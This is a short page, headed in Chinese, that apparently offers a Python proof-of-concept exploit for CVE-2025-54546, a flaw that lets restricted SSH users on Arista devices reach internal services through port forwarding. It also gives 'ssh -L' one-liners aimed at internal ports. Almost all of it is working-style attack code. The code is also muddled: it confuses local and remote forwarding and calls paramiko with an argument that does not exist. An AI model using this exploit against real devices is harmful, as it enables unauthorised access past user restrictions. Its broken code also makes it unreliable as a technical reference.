CVE-2025-54546 Arista SSH端口转发权限提升漏洞

# CVE-2025-54546 PoC - SSH Port Forwarding to Access Internal Services # Author: Security Researcher # Target: Arista Affected Platforms import paramiko import socket def exploit_cve_2025_54546(target_ip, username, password, internal_port=443): """ Exploit CVE-2025-54546: SSH port forwarding to access host-internal services Args: target_ip: Target Arista device IP address username: Restricted SSH user credentials password: SSH password internal_port: Internal service port to forward (default: 443) """ try: # Connect to target using SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Create SSH channel for port forwarding transport = client.get_transport() # Bind to local port 8443 and forward to internal service # This allows accessing internal service at localhost:8443 local_port = 8443 # Start reverse port forwarding: remote internal_port -> local port reverse_forward = ('127.0.0.1', internal_port) print(f"[*] Establishing SSH tunnel to {target_ip}") print(f"[*] Forwarding local port {local_port} to internal service on port {internal_port}") # Request port forwarding from remote to local transport.request_port_forward('', local_port, dest_addr=reverse_forward) print(f"[+] Port forwarding active: localhost:{local_port} -> internal:{internal_port}") print(f"[+] Access internal service via: http://localhost:{local_port}") # Keep connection alive while True: try: chan = transport.accept(timeout=1) if chan is not None: break except: continue except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False return True # Alternative: Using SSH command line # ssh -L 8443:127.0.0.1:443 restricted_user@target_ip # ssh -L 8080:127.0.0.1:8080 restricted_user@target_ip if __name__ == "__main__": # Example usage TARGET = "192.168.1.1" USER = "restricted_user" PASS = "password" print("CVE-2025-54546 - Arista SSH Port Forwarding Exploit") exploit_cve_2025_54546(TARGET, USER, PASS)